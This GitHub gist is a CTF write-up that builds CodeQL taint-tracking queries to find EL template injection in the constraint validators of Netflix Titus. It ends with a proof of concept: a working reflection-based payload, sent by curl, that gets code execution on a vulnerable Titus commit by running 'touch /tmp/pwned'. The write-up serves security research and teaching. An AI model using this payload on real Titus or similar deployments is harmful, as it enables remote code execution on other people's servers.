Skip to content

Instantly share code, notes, and snippets.

@osynetskyi
Last active July 2, 2020 14:58
Show Gist options
  • Save osynetskyi/72cb82011e28549c4a5bedc2437dffa9 to your computer and use it in GitHub Desktop.
Save osynetskyi/72cb82011e28549c4a5bedc2437dffa9 to your computer and use it in GitHub Desktop.
A writeup for GitHub Security Lab CTF 4: CodeQL and Chill

Step 1: Data flow and taint tracking analysis

Step 1.1: Sources

To find sources of the tainted data, we'll be looking for first parameters of isValid() methods that override a method with the same name declared in ConstraintValidator interface.

Let's define a subclass of Method for methods of interest:

class UnsafeValidationMethod extends Method {
	UnsafeValidationMethod() {
        this.hasName("isValid")
        and this.getAnOverride()
            .getDeclaringType()
            .(ParameterizedInterface).getGenericType()
            .hasQualifiedName("javax.validation", "ConstraintValidator")
	}
}

Once UnsafeValidationMethod is in place, the predicate to identify taint sources is simply

predicate isSource(DataFlow::Node source) { 
    source.asParameter() = any(UnsafeValidationMethod isValid).getParameter(0)
}

And the full query is as follows:

import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph

class UnsafeValidationMethod extends Method {
    UnsafeValidationMethod() {
        this.hasName("isValid")
        and this.getAnOverride()
            .getDeclaringType()
            .(ParameterizedInterface).getGenericType()
            .hasQualifiedName("javax.validation", "ConstraintValidator")
    }
}

predicate isSource(DataFlow::Node source) { 
    source.asParameter() = any(UnsafeValidationMethod isValid).getParameter(0)
}

A total of 6 results are found during quick evaluation.

Step 1.2: Sink

Sinks are first arguments in calls to buildConstraintViolationWithTemplate(), so finding them is straightforward:

import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph

predicate isSink(DataFlow::Node sink) { 
    exists (Call c |
        c.getCallee().hasName("buildConstraintViolationWithTemplate")
        and sink.asExpr() = c.getArgument(0)
    )
}

Quick evaluation reports 5 findings.

Step 1.3: TaintTracking configuration

We will combine source and sink definitions from two previous steps into a subclass of TaintTracking::Configuration called TemplateInjectionConfig:

/** @kind path-problem */
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph

class UnsafeValidationMethod extends Method {
    UnsafeValidationMethod() {
        this.hasName("isValid")
        and this.getAnOverride()
            .getDeclaringType()
            .(ParameterizedInterface).getGenericType()
            .hasQualifiedName("javax.validation", "ConstraintValidator")
    }
}

class TemplateInjectionConfig extends TaintTracking::Configuration {
    TemplateInjectionConfig() { this = "TemplateInjectionConfig" }

    override predicate isSource(DataFlow::Node source) { 
        source.asParameter() = any(UnsafeValidationMethod isValid).getParameter(0)
    }

    override predicate isSink(DataFlow::Node sink) { 
        exists (Call c |
		    c.getCallee().hasName("buildConstraintViolationWithTemplate")
			and sink.asExpr() = c.getArgument(0)
		)
    }
}

from TemplateInjectionConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
    where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Custom constraint error message contains unsanitized user data"

Unfortunately, when this query is run it does not return any results - this is due to flaws in taint propagation logic we'll address next.

Step 1.4: Partial Flow to the rescue

We'll start taint flow troubleshooting with using partial data flow that shows all sinks no farther than a given distance from the source; this way we'll be able to identify where the flow stops and fix that by adding a custom propagation logic.

Here is the query with partial flows enabled:

/** @kind path-problem */
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PartialPathGraph

class UnsafeValidationMethod extends Method {
    UnsafeValidationMethod() {
        this.hasName("isValid")
        and this.getAnOverride()
            .getDeclaringType()
            .(ParameterizedInterface).getGenericType()
            .hasQualifiedName("javax.validation", "ConstraintValidator")
    }
}

class TemplateInjectionConfig extends TaintTracking::Configuration {
    TemplateInjectionConfig() { this = "TemplateInjectionConfig" }

    override predicate isSource(DataFlow::Node source) { 
        source.asParameter() = any(UnsafeValidationMethod isValid).getParameter(0)
    }

    override predicate isSink(DataFlow::Node sink) { 
        exists (Call c |
            c.getCallee().hasName("buildConstraintViolationWithTemplate")
            and sink.asExpr() = c.getArgument(0)
        )
    }

    override int explorationLimit() { result =  10 }
}

from TemplateInjectionConfig cfg, DataFlow::PartialPathNode source, DataFlow::PartialPathNode sink
where
    cfg.hasPartialFlow(source, sink, _)
select sink, source, sink.getNode().getLocation(), "Partial flow from unsanitized user data"

We have switched from DataFlow::PathGraph module to DataFlow::PartialPathGraph and its associated classes and predicates (DataFlow::PartialPathNode, hasPartialFlow()) as well as introduced the maximal flow depth via explorationLimit().

We can further filter the flows of interest by adding conditions to where clause - e.g. if we're interested only in flows stopping in SchedulingConstraintSetValidator.java, we can write:

from TemplateInjectionConfig cfg, DataFlow::PartialPathNode source, DataFlow::PartialPathNode sink
where
    cfg.hasPartialFlow(source, sink, _)
    and sink.getNode().getLocation().getFile().getStem() = "SchedulingConstraintSetValidator"
select source, sink, sink.getNode().getLocation(), "Partial flow from unsanitized user data"

Four partial flows are identified in SchedulingConstraintSetValidator.java file, let's have a closer look at them.

Step 1.5: Identifying a missing taint step

Deeper examination of lines 60 and 61 in SchedulingConstraintSetValidator.java reveals that flows don't propagate from container object to results of getter methods container.getSoftConstraints() and container.getHardConstraints():

Set<String> common = new HashSet<>(container.getSoftConstraints().keySet());
common.retainAll(container.getHardConstraints().keySet());

Since not all bean properties may be derived from user input, disabling taint propagation through getters would limit the number of false positives produced by default; of course, the user is able to override this behavior if needed - which is what we'll do to continue our analysis.

Step 1.6: Adding additional taint steps

We will add a new taint step by extending TaintTracking::AdditionalTaintStep class and overriding its step() predicate; the taint should flow from the qualifier of getter method to its result.

To identify getter methods we can search for specific names (getSoftConstraints, getHardConstraints), names that start with get* (via regexp) or use a built-in GetterMethod subclass of Method.

The code for step() predicate is as follows:

class MethodTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
        exists (MethodAccess ma | 
            ma.getMethod() instanceof GetterMethod
            and pred.asExpr() = ma.getQualifier() 
            and succ.asExpr() = ma
        )
    }
}

We get two new partial flows spreading to container.getSoftConstraints() and container.getHardConstraints(), however none of them reached the sink yet - now the taint propagation stops at keySet() method call which would return a Set of (tainted) keys from a tainted Map: container.getSoftConstraints().keySet().

To work around this, we'll add an extra condition to the step() predicate of MethodTaintStep class: taint may propagate not just though getters, but also methods that return contents of a Map - instances of MapQueryMethod (we'd also need to import semmle.code.java.Maps module, where this subclass of Method is declared).

An updated step() predicate would be:

import semmle.code.java.Maps

class MethodTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
        exists (MethodAccess ma | 
            (ma.getMethod() instanceof GetterMethod
            or ma.getMethod() instanceof MapQueryMethod)
            and pred.asExpr() = ma.getQualifier() 
            and succ.asExpr() = ma
        )
    }
}

When an updated query is executed, two new partial flows though keySet() appear as expected, though we still have not reached the sink - this time taint stops at HashSet<>() constructor.

Step 1.7: Adding taint steps through a constructor

To propagate the taint from constructor's parameter to a newly created instance we'll create another subclass of TaintTracking::AdditionalTaintStep called ConstructorTaintStep and redefine its step() predicate as follows:

class ConstructorTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
        exists (ClassInstanceExpr new |
            pred.asExpr() = new.getAnArgument()
            and succ.asExpr() = new
        )
    }
}

Step 1.8: Finish line for our first issue

Once propagation through constuctor is enabled, taint flows to the sink which is "Soft and hard constraints not unique. Shared constraints: " + common parameter of buildConstraintViolationWithTemplate() method; the complete query is:

/** @kind path-problem */
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph
import semmle.code.java.Maps

class MethodTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
        exists (MethodAccess ma | 
            (ma.getMethod() instanceof GetterMethod
            or ma.getMethod() instanceof MapQueryMethod)
            and pred.asExpr() = ma.getQualifier() 
            and succ.asExpr() = ma
        )
    }
}

class ConstructorTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
        exists (ClassInstanceExpr new |
            pred.asExpr() = new.getAnArgument()
            and succ.asExpr() = new
        )
    }
}

class UnsafeValidationMethod extends Method {
    UnsafeValidationMethod() {
        this.hasName("isValid")
        and this.getAnOverride()
            .getDeclaringType()
            .(ParameterizedInterface).getGenericType()
            .hasQualifiedName("javax.validation", "ConstraintValidator")
    }
}

class TemplateInjectionConfig extends TaintTracking::Configuration {
    TemplateInjectionConfig() { this = "TemplateInjectionConfig" }

    override predicate isSource(DataFlow::Node source) { 
        source.asParameter() = any(UnsafeValidationMethod isValid).getParameter(0)
    }

    override predicate isSink(DataFlow::Node sink) { 
        exists (Call c |
            c.getCallee().hasName("buildConstraintViolationWithTemplate")
            and sink.asExpr() = c.getArgument(0)
        )
    }
}

from TemplateInjectionConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
    where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Custom constraint error message contains unsanitized user data"

We can further improve the accuracy of the query by accounting only for those sources that are actually derived from user's input as opposed to, say, application configuration parameters. To do that we'll make use of RemoteFlowSource class that includes Nodes corresponding to remote user's input; we will then enumerate all possible sinks in which user data may end up via taint tracking mechanism, focusing on those that are parameters of methods. Finally, we'll look at their types to get a list of user-controlled bean property types and use it as an additional filter step.

We'll start by defining a flow between RemoteFlowSource and any parameter (importing TaintTracking2 to avoid conflicting with already-imported TaintTracking):

import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.TaintTracking2

class UserInputConfig extends TaintTracking2::Configuration {
    UserInputConfig() { this = "UserInputConfig" }

    override predicate isSource(DataFlow2::Node source) { 
        source instanceof RemoteFlowSource
    }

    override predicate isSink(DataFlow2::Node sink) { 
        sink instanceof DataFlow2::ParameterNode
    }
}

Now we can describe a user-controlled bean property type like this:

class TaintedBeanPropertyType extends RefType {
    TaintedBeanPropertyType() {
        exists (UserInputConfig cfg, DataFlow2::PathNode source, DataFlow2::PathNode sink | 
            cfg.hasFlowPath(source, sink)
            and this = sink.getNode().getType()
        )
    }
}

Finally, we incorporate TaintedBeanPropertyType into the isSource() predicate:

predicate isSource(DataFlow::Node source) {
    source.asParameter() = any(UnsafeValidationMethod isValid).getParameter(0)
    and source.asParameter().getType() instanceof TaintedBeanPropertyType
}

Interestingly, the partial path examination shows that there is no direct flow from RemoteFlowSource into Container object, only its' constructor called in Builder.build() at Container.java:326. However, due to the taint propagation through the constructor we defined earlier at Step 1.7, the query is accurate.

Here is the full code:

/** @kind path-problem */
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph
import semmle.code.java.Maps
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.TaintTracking2

class UserInputConfig extends TaintTracking2::Configuration {
    UserInputConfig() { this = "UserInputConfig" }

    override predicate isSource(DataFlow2::Node source) { 
        source instanceof RemoteFlowSource
    }

    override predicate isSink(DataFlow2::Node sink) { 
        sink instanceof DataFlow2::ParameterNode
    }
}

class TaintedBeanPropertyType extends RefType {
    TaintedBeanPropertyType() {
        exists (UserInputConfig cfg, DataFlow2::PathNode source, DataFlow2::PathNode sink | 
            cfg.hasFlowPath(source, sink)
            and this = sink.getNode().getType()
        )
    }
}

class MethodTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
        exists (MethodAccess ma | 
            (ma.getMethod() instanceof GetterMethod
            or ma.getMethod() instanceof MapQueryMethod)
            and pred.asExpr() = ma.getQualifier() 
            and succ.asExpr() = ma
        )
    }
}

class ConstructorTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
        exists (ClassInstanceExpr new |
            pred.asExpr() = new.getAnArgument()
            and succ.asExpr() = new
        )
    }
}

class UnsafeValidationMethod extends Method {
    UnsafeValidationMethod() {
        this.hasName("isValid")
        and this.getAnOverride()
            .getDeclaringType()
            .(ParameterizedInterface).getGenericType()
            .hasQualifiedName("javax.validation", "ConstraintValidator")
    }
}

class TemplateInjectionConfig extends TaintTracking::Configuration {
    TemplateInjectionConfig() { this = "TemplateInjectionConfig" }

    override predicate isSource(DataFlow::Node source) { 
        source.asParameter() = any(UnsafeValidationMethod isValid).getParameter(0)
        and source.asParameter().getType() instanceof TaintedBeanPropertyType
    }

    override predicate isSink(DataFlow::Node sink) { 
        exists (Call c |
            c.getCallee().hasName("buildConstraintViolationWithTemplate")
            and sink.asExpr() = c.getArgument(0)
        )
    }
}

from TemplateInjectionConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
    where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Custom constraint error message contains unsanitized user data"

Step 2: Second Issue

Earlier, isSource() predicate identified a potential similar issue in SchedulingConstraintValidator.java, however it wasn't reported by our query. This is once again due to lack of taint propagation through certain methods. Let's look a definition of namesInLowerCase Set in isValid() method from SchedulingConstraintValidator.java:73:

Set<String> namesInLowerCase = value.keySet().stream().map(String::toLowerCase).collect(Collectors.toSet());

Here, value is a tainted Map derived from user input; keySet() called on it already propagates the taint due to an additional step defined earlier. However, none of the subsequent methods - stream(), map() or collect() let the flow through.

To fix this, we're going to need another adjustment to taint propagation logic. First, let's create a subclass of Method called TaintPropagatingMethod defined like this:

class TaintPropagatingMethod extends Method {
    TaintPropagatingMethod() {
        this.getName().regexpMatch("stream|map|collect")
    }
}

It covers accesses to all methods that stopped the flow before; then we'll update the step() predicate of MethodTaintStep class to allow the taint flow through instances of TaintPropagatingMethod:

class MethodTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
        exists (MethodAccess ma | 
            (ma.getMethod() instanceof GetterMethod 
            or ma.getMethod() instanceof MapQueryMethod
            or ma.getMethod() instanceof TaintPropagatingMethod)
            and pred.asExpr() = ma.getQualifier() 
            and succ.asExpr() = ma
        )
    }
}

Once the changes are in place, issue in SchedulingConstraintValidator.java is reported as expected. The complete query is:

/** @kind path-problem */
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph
import semmle.code.java.Maps
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.TaintTracking2

class TaintPropagatingMethod extends Method {
    TaintPropagatingMethod() {
        this.getName().regexpMatch("stream|map|collect")
    }
}

class UserInputConfig extends TaintTracking2::Configuration {
    UserInputConfig() { this = "UserInputConfig" }

    override predicate isSource(DataFlow2::Node source) { 
        source instanceof RemoteFlowSource
    }

    override predicate isSink(DataFlow2::Node sink) { 
        sink instanceof DataFlow2::ParameterNode
    }
}

class TaintedBeanPropertyType extends RefType {
    TaintedBeanPropertyType() {
        exists (UserInputConfig cfg, DataFlow2::PathNode source, DataFlow2::PathNode sink | 
            cfg.hasFlowPath(source, sink)
            and this = sink.getNode().getType()
        )
    }
}

class MethodTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
        exists (MethodAccess ma | 
            (ma.getMethod() instanceof GetterMethod 
            or ma.getMethod() instanceof MapQueryMethod
            or ma.getMethod() instanceof TaintPropagatingMethod)
            and pred.asExpr() = ma.getQualifier() 
            and succ.asExpr() = ma
        )
    }
}

class ConstructorTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
        exists (ClassInstanceExpr new |
            pred.asExpr() = new.getAnArgument()
            and succ.asExpr() = new
        )
    }
}

class UnsafeValidationMethod extends Method {
    UnsafeValidationMethod() {
        this.hasName("isValid")
        and this.getAnOverride()
            .getDeclaringType()
            .(ParameterizedInterface).getGenericType()
            .hasQualifiedName("javax.validation", "ConstraintValidator")
    }
}

class TemplateInjectionConfig extends TaintTracking::Configuration {
    TemplateInjectionConfig() { this = "TemplateInjectionConfig" }

    override predicate isSource(DataFlow::Node source) { 
        source.asParameter() = any(UnsafeValidationMethod isValid).getParameter(0)
        and source.asParameter().getType() instanceof TaintedBeanPropertyType
    }

    override predicate isSink(DataFlow::Node sink) { 
        exists (Call c |
            c.getCallee().hasName("buildConstraintViolationWithTemplate")
            and sink.asExpr() = c.getArgument(0)
        )
    }
}

from TemplateInjectionConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
    where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Custom constraint error message contains unsanitized user data"

Step 3: Errors and Exceptions

We need to ensure taint is propagating correctly through the try/catch exception handling mechanism:

try {
    parse(tainted);
} catch (Exception e) {
    sink(e.getMessage())
}

Here, a method called in a try block with a tainted argument may throw an exception. Sometimes part of the tainted input will be included in the exception leading to taint propagation into Exception e which can then be cause a of vulnerability if this exception is for example printed out in the catch block without proper sanitization.

To account for this case, we'd need to introduce a taint step that would ensure a flow from an argument of a method called in try block to an Exception object - but only if that Exception object is later passed to a potentially unsafe function.

We start by identifying a try statement (via TryStmt class) and its associated catch clause, as well as any method calls that happen within try and catch code blocks:

from TryStmt try, CatchClause catch, MethodAccess trycall, MethodAccess catchcall
where catch = try.getACatchClause()
    and trycall = try.getBlock().getAChild().(ExprStmt).getExpr()
    and catchcall = catch.getBlock().getAChild().(ExprStmt).getExpr()
select try, catch, trycall, catchcall

We can further refine the query by filtering only those methods that accept Exception object or the result of calling a method on it (e.g. e.getMessage()) as an argument. We can also focus on the methods that are most likely to produce an output message such as warn(), error(), or assert():

from TryStmt try, CatchClause catch, MethodAccess trycall, MethodAccess catchcall,
    VarAccess e
where catch = try.getACatchClause()
    and trycall = try.getBlock().getAChild().(ExprStmt).getExpr()
    and catchcall = catch.getBlock().getAChild().(ExprStmt).getExpr()
    and e = catch.getVariable().getAnAccess()
    and catchcall.getMethod().getName().regexpMatch("debug|info|warn|error|assert.*")
    and catchcall.getAnArgument().getAChildExpr*() = e
select try, catch, trycall, catchcall

Reformulating this query as a step() predicate of ExceptionTaintStep class, we get:

class ExceptionTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
        exists (TryStmt try, CatchClause catch, MethodAccess trycall, MethodAccess catchcall, VarAccess e |
            catch = try.getACatchClause()
            and trycall = try.getBlock().getAChild().(ExprStmt).getExpr()
            and catchcall = catch.getBlock().getAChild().(ExprStmt).getExpr()
            and e = catch.getVariable().getAnAccess()
            and catchcall.getMethod().getName().regexpMatch("debug|info|warn|error|assert.*")
            and catchcall.getAnArgument().getAChildExpr*() = e
            and pred.asExpr() = trycall.getAnArgument()
            and succ.asExpr() = e
        )
    }
}

Quick evaluation of the step() in the absence of any additional taint propagation steps returns 300 results; once incorporated in the query, the same 2 findings are displayed.

The full query is:

/** @kind path-problem */
import java
import semmle.code.java.dataflow.TaintTracking
import DataFlow::PathGraph
import semmle.code.java.Maps
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.TaintTracking2

class ExceptionTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
        exists (TryStmt try, CatchClause catch, MethodAccess trycall, MethodAccess catchcall, VarAccess e |
            catch = try.getACatchClause()
            and trycall = try.getBlock().getAChild().(ExprStmt).getExpr()
            and catchcall = catch.getBlock().getAChild().(ExprStmt).getExpr()
            and e = catch.getVariable().getAnAccess()
            and catchcall.getMethod().getName().regexpMatch("debug|info|warn|error|assert.*")
            and catchcall.getAnArgument().getAChildExpr*() = e
            and pred.asExpr() = trycall.getAnArgument()
            and succ.asExpr() = e
        )
    }
}

class TaintPropagatingMethod extends Method {
    TaintPropagatingMethod() {
        this.getName().regexpMatch("stream|map|collect")
    }
}

class UserInputConfig extends TaintTracking2::Configuration {
    UserInputConfig() { this = "UserInputConfig" }

    override predicate isSource(DataFlow2::Node source) { 
        source instanceof RemoteFlowSource
    }

    override predicate isSink(DataFlow2::Node sink) { 
        sink instanceof DataFlow2::ParameterNode
    }
}

class TaintedBeanPropertyType extends RefType {
    TaintedBeanPropertyType() {
        exists (UserInputConfig cfg, DataFlow2::PathNode source, DataFlow2::PathNode sink | 
            cfg.hasFlowPath(source, sink)
            and this = sink.getNode().getType()
        )
    }
}

class MethodTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
        exists (MethodAccess ma | 
            (ma.getMethod() instanceof GetterMethod 
            or ma.getMethod() instanceof MapQueryMethod
            or ma.getMethod() instanceof TaintPropagatingMethod)
            and pred.asExpr() = ma.getQualifier() 
            and succ.asExpr() = ma
        )
    }
}

class ConstructorTaintStep extends TaintTracking::AdditionalTaintStep {
    override predicate step(DataFlow::Node pred, DataFlow::Node succ) {
        exists (ClassInstanceExpr new |
            pred.asExpr() = new.getAnArgument()
            and succ.asExpr() = new
        )
    }
}

class UnsafeValidationMethod extends Method {
    UnsafeValidationMethod() {
        this.hasName("isValid")
        and this.getAnOverride()
            .getDeclaringType()
            .(ParameterizedInterface).getGenericType()
            .hasQualifiedName("javax.validation", "ConstraintValidator")
    }
}

class TemplateInjectionConfig extends TaintTracking::Configuration {
    TemplateInjectionConfig() { this = "TemplateInjectionConfig" }

    override predicate isSource(DataFlow::Node source) { 
        source.asParameter() = any(UnsafeValidationMethod isValid).getParameter(0)
        and source.asParameter().getType() instanceof TaintedBeanPropertyType
    }

    override predicate isSink(DataFlow::Node sink) { 
        exists (Call c |
            c.getCallee().hasName("buildConstraintViolationWithTemplate")
            and sink.asExpr() = c.getArgument(0)
        )
    }
}

from TemplateInjectionConfig cfg, DataFlow::PathNode source, DataFlow::PathNode sink
    where cfg.hasFlowPath(source, sink)
select sink, source, sink, "Custom constraint error message contains unsanitized user data"

Step 4: Exploit and remediation

Step 4.1: PoC

To develop a PoC for a vulnerable Titus version we'll use a Docker image of a vulnerable commit 8a8bd4c.

According to the Titus documentation, jobs are submitted via POST requests in the following form:

curl localhost:7001/api/v3/jobs \
  -X POST -H "Content-type: application/json" -d \
  '{
    "applicationName": "localtest",
    "owner": {"teamEmail": "me@me.com"},
    "container": {
      "image": {"name": "alpine", "tag": "latest"},
      "entryPoint": ["/bin/sleep", "1h"],
      "securityProfile": {"iamRole": "test-role", "securityGroups": ["sg-test"]}
    },
    "batch": {
      "size": 1,
      "runtimeLimitSec": "3600",
      "retryPolicy":{"delayed": {"delayMs": "1000", "retries": 3}}
    }
  }'

Attributes softConstraints and hardConstraints, identified by query as potential template injection venues, are optional parameters of container defined as

"softConstraints": {"constraints": {"name1":"value1", ...}},
"hardConstraints": {"constraints": {"name1":"value1", ...}},

To perform the injection, we must trigger validation errors either in SchedulingConstraintValidator or in SchedulingConstraintSetValidator as both validators' error messages contain part of the user input (specifically, names of offending constraints, in which EL code can be injected).

Error in SchedulingConstraintValidator.java happens if a name of a constraint does not match any of the pre-defined set from com.netflix.titus.api.jobmanager.JobConstraints (such as "uniqueHost" or "zoneBalance"). SchedulingConstraintSetValidator.java reports an error when a constraint with the same name is supplied in both softConstraints and hardConstraints lists.

Since we'll be using names of the constraints for injections, they would necessarily contain special symbols (like "{", "}" or "$") and be invalid, so we should have no trouble triggering the vulnerability in SchedulingConstraintValidator; to take advantage of the issue in SchedulingConstraintSetValidator we'd need to supply the same constraint as both soft and hard - however, for the sake of simplicity in this PoC we'll be using only the name of hard constraint as a venue for injection.

First attempts show that injection is indeed possible: while immediate expressions with ${} yield no results, deffered ones (#{}) work, and a request such as

curl localhost:7001/api/v3/jobs \
  -X POST -H "Content-type: application/json" -d \
  '{
    "applicationName": "localtest",
    "owner": {"teamEmail": "me@me.com"},
    "container": {
      "image": {"name": "alpine", "tag": "latest"},
      "entryPoint": ["/bin/sleep", "1h"],
      "securityProfile": {"iamRole": "test-role", "securityGroups": ["sg-test"]},
	  "softConstraints": {},
	  "hardConstraints": {"constraints":{"#{\"ABC \" + 7*7}":""}}
    },
    "batch": {
      "size": 1,
      "runtimeLimitSec": "3600",
      "retryPolicy":{"delayed": {"delayMs": "1000", "retries": 3}}
    }
  }'

produces the following error:

{"statusCode":400,"message":"Invalid Argument: {Validation failed: 'field: 'container.hardConstraints', description: 'Unrecognized constraints [abc 49]', type: 'HARD''}"}

We can see 7*7 expression has been correctly interpreted as 49; we also observe a major limitation of the payload - all strings supplied in a constraint name are converted to lowercase prior to the error being thrown. This severely limits the number of methods available for use in EL expressions since Java is case-sensitive and uses camel case for method naming; therefore any method containing a capital letter (such as toString()) would not be recognized after conversion to lowercase (tostring()).

The conversion itself happens in SchedulingConstraintValidator.java on line 73, the same line we previously examined in step 2 for taint propagation issues:

Set<String> namesInLowerCase = value.keySet().stream().map(String::toLowerCase).collect(Collectors.toSet());

Note: to get rid of the lowercase limitation, namesInLowerCase declaration can be rewritten to

Set<String> namesInLowerCase = value.keySet();

Once the application is rebuilt, capital letters can be used in the payload; this patched application provides useful insight during payload construction and has been utilized extensively during PoC development, but in the interest of brevity we'll focus only on production version of Titus from here on.

To get a code execution from EL injection we'd need to use a Java Reflection feature that allows accessing methods and classes at runtime.

Here's a typical injection payload that makes use of Reflection

#{"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("touch /tmp/pwned")}

First it gets the Class object for String via "".getClass(), then uses its forName() method to get Class object for Runtime; from there, call to getMethods() allows access to all methods of java.lang.Runtime class, and method located at offset 6 - getRuntime() - returns the runtime of a current application.

getRuntime() is then called via an invoke() with parameter being another instance of Runtime class (equvalent of Runtime.getRuntime()); finally, exec() is called on a current Runtime to create a file named "pwned" in /tmp folder on an application server.

Unfortunately, this payload contains several uppercase letters and would not work for our purposes as is - while string "java.lang.Runtime" can be rewritten as "java.lang.runtime".replace(114,82) (114 and 82 being character codes of letters "r" and "R", respectively), capitals in method names such as forName() or getMethods() can't be avoided.

Let's try to rewrite payload so it's not hampered by conversion to lowercase.

The first and easiest problem to solve is getting the instance of Class object: instead of getClass() we can simply use .class syntax, as described in the Reflection API documentation:

class

returns a Class instance for com.google.common.collect.SingletonImmutableBiMap, and

class.class

allows access to Class instance of Class itself.

Next, we can avoid referencing forName() directly and instead find it in the output of getMethods() at index 0:

class.class.getMethods()[0]

Since getMethods() also has a capital letter in it, we need to replace it with something - and we can use methods[] property with the same index:

class.class.methods[0]

We then invoke forName() on Class object with "java.lang.Runtime" String passed as parameter - an equivalent of forName("java.lang.Runtime"):

class.class.methods[0].invoke(class.class, "java.lang.runtime".replace(114,82))

Having obtained an instance of Runtime class, we proceed to find a getRuntime() method at getMethods()[6] (or rather, methods[6]):

class.class.methods[0].invoke(class.class, "java.lang.runtime".replace(114,82)).methods[6]

After this we call invoke() on getRuntime() method instance with parameter being another Runtime instance (found, once again, as class.class.methods[0].invoke(class.class, "java.lang.runtime".replace(114,82))) before executing "touch /tmp/pwned" via exec() in a current runtime:

class.class.methods[0].invoke(class.class, "java.lang.runtime".replace(114,82)).methods[6].invoke(class.class.methods[0].invoke(class.class, "java.lang.runtime".replace(114,82))).exec("touch /tmp/pwned")

Adding some final touches and the PoC payload looks like

#{class.class.methods[0].invoke(class.class, \"java.lang.runtime\".replace(114,82)).methods[6].invoke(class.class.methods[0].invoke(class.class, \"java.lang.runtime\".replace(114,82))).exec(\"touch /tmp/pwned\")}

And here is the full POST request with it:

curl localhost:7001/api/v3/jobs \
  -X POST -H "Content-type: application/json" -d \
  '{
    "applicationName": "localtest",
    "owner": {"teamEmail": "me@me.com"},
    "container": {
      "image": {"name": "alpine", "tag": "latest"},
      "entryPoint": ["/bin/sleep", "1h"],
      "securityProfile": {"iamRole": "test-role", "securityGroups": ["sg-test"]},
	  "softConstraints": {},
	  "hardConstraints": {"constraints":{"#{class.class.methods[0].invoke(class.class, \"java.lang.runtime\".replace(114,82)).methods[6].invoke(class.class.methods[0].invoke(class.class, \"java.lang.runtime\".replace(114,82))).exec(\"touch /tmp/pwned\")}":""}}
    },
    "batch": {
      "size": 1,
      "runtimeLimitSec": "3600",
      "retryPolicy":{"delayed": {"delayMs": "1000", "retries": 3}}
    }
  }'

Once the request above is sent, it produces an error much like invalid payload:

{"statusCode":500,"message":"Unexpected error: HV000149: An exception occurred during message interpolation"}

However, "pwned" file is created under /tmp as expected

root@ubuntu:~/titus-control-plane# docker-compose exec gateway bash
root@113daa133d5d:/opt/titus-server-gateway# ls -la /tmp
total 16
drwxrwxrwt 1 root root 4096 Jun  7 19:23 .
drwxr-xr-x 1 root root 4096 Jun  2 21:27 ..
drwxr-xr-x 1 root root 4096 Jun  7 19:09 hsperfdata_root
-rw-r--r-- 1 root root    0 Jun  7 19:23 pwned

Step 4.2: Remediation

Running a query on a database of patched code yields no findings as expected; the vulnerable calls to ConstraintValidatorContext.buildConstraintViolationWithTemplate() have been replaced with calls to a custom function returning ConstraintValidatorContext.ConstraintViolationBuilder object that does not interpolate EL expressions.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment